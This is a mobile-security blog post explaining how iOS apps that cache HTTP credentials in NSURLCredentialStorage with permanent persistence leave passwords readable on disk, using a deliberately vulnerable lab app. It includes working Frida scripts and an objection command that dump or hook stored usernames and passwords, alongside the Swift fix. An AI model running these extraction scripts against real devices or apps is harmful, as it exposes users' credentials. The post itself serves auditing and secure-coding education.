Home iOS - NSURLCredentialStorage Credential Leak
Post
Cancel

iOS - NSURLCredentialStorage Credential Leak

NSURLCredentialStorage is the OS-level credential cache for HTTP authentication challenges - Basic, Digest, NTLM. When an app stores credentials there with .permanent persistence, iOS writes them to Library/Credentials/ on the device filesystem. They survive app restart, device reboot, and OS upgrade. Unlike Keychain items, they are not gated by kSecAttrAccessible; they live in a SQLite database readable directly on a jailbroken device. Most developers reaching for NSURLCredentialStorage are either following an old tutorial or responding to URLAuthenticationChallenge without thinking about where the credential ends up.


The vulnerable pattern

StoredCredentialViewController stores credentials on every successful login with .permanent persistence:

1
2
3
4
5
6
7
8
9
10
11
12
13
let credential = URLCredential(
    user: email,
    password: password,
    persistence: .permanent)   // writes to disk in Library/Credentials/

let protectionSpace = URLProtectionSpace(
    host: "api.vulnlabapp.example.com",
    port: 443,
    protocol: "https",
    realm: nil,
    authenticationMethod: NSURLAuthenticationMethodHTTPBasic)

URLCredentialStorage.shared.setCredential(credential, for: protectionSpace)

.permanent is the dangerous flag. .forSession keeps the credential in memory only, gone on app exit. .permanent serialises it to disk immediately.


Why it is distinct from Keychain

Keychain items stored with SecItemAdd are encrypted by the Secure Enclave and gated by the kSecAttrAccessible level the developer chose. NSURLCredentialStorage uses a different backing store - a SQLite file in Library/Credentials/ under the app sandbox. On a jailbroken device, any process can read that file:

1
2
3
# On-device path (jailbroken)
cat /var/mobile/Containers/Data/Application/<UUID>/Library/Credentials/
# or via AFC with iMazing / iFunBox

SecItemCopyMatching will not return these credentials - they are not Keychain items. Tools that only dump Keychain miss them entirely.


Identifying it statically

1
2
nm Payload/VulnLabAppiOS.app/VulnLabAppiOS \
  | grep -E 'NSURLAuthenticationMethod|URLCredential|setCredential|CredentialStorage'

Any match on setCredential or URLCredentialStorage is a signal to check the persistence argument. If the binary contains NSURLAuthenticationMethodHTTPBasic alongside setCredential, the app is doing HTTP Basic auth and caching credentials.


Dumping credentials via objection

1
2
objection -g com.vulnlab.iosapp explore
ios nsurlcredentialstorage dump

Objection enumerates every entry in URLCredentialStorage.shared.allCredentials and prints the host, port, auth method, username, and password. Triggered at runtime after any login flow that reaches the credential store.


Frida script to enumerate all stored credentials

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const CredentialStorage = ObjC.classes.NSURLCredentialStorage;

// allCredentials returns NSDictionary<NSURLProtectionSpace, NSDictionary<NSString, NSURLCredential>>
const all = CredentialStorage['+ sharedCredentialStorage'].call(CredentialStorage)
    .allCredentials();

const spaces = all.allKeys();
for (let i = 0; i < spaces.count(); i++) {
    const space = spaces.objectAtIndex_(i);
    const creds = all.objectForKey_(space);
    const accounts = creds.allKeys();
    for (let j = 0; j < accounts.count(); j++) {
        const account = accounts.objectAtIndex_(j);
        const cred = creds.objectForKey_(account);
        console.log('[NSURLCredentialStorage]');
        console.log('  host=' + space.host() + ':' + space.port());
        console.log('  method=' + space.authenticationMethod());
        console.log('  user=' + cred.user());
        console.log('  pass=' + cred.password());
    }
}

Run after triggering any login or authentication flow. The output lists every cached credential the app has stored.


Hook to catch new entries at runtime

1
2
3
4
5
6
7
8
9
10
11
12
const setCredential = ObjC.classes.NSURLCredentialStorage['- setCredential:forProtectionSpace:'];
Interceptor.attach(setCredential.implementation, {
    onEnter: function(args) {
        const cred  = new ObjC.Object(args[2]);
        const space = new ObjC.Object(args[3]);
        console.log('[setCredential] host=' + space.host());
        console.log('[setCredential] user=' + cred.user());
        console.log('[setCredential] pass=' + cred.password());
        console.log('[setCredential] persistence=' + cred.persistence());
        // persistence: 0=none, 1=session, 2=permanent, 3=synchronized
    }
});

persistence value 2 is .permanent. If you see it, that is the finding.


The fix

Replace .permanent with .forSession:

1
2
3
4
let credential = URLCredential(
    user: email,
    password: password,
    persistence: .forSession)   // memory only, gone on app exit

If the app needs to re-authenticate automatically on every launch, store the credentials in Keychain with kSecAttrAccessibleWhenUnlockedThisDeviceOnly instead:

1
2
3
4
5
6
7
8
let query: [CFString: Any] = [
    kSecClass: kSecClassInternetPassword,
    kSecAttrServer: "api.vulnlabapp.example.com",
    kSecAttrAccount: email,
    kSecValueData: password.data(using: .utf8)!,
    kSecAttrAccessible: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
]
SecItemAdd(query as CFDictionary, nil)

Keychain with WhenUnlockedThisDeviceOnly is encrypted by the Secure Enclave, excluded from iCloud sync, and not readable from Library/Credentials/.


Closing

NSURLCredentialStorage with .permanent is a credential in a cleartext-readable SQLite file. It does not benefit from Keychain encryption. The fix is one enum change. The audit is one strings grep and one objection command.

Happy Hacking !!

This post is licensed under CC BY 4.0 by the author.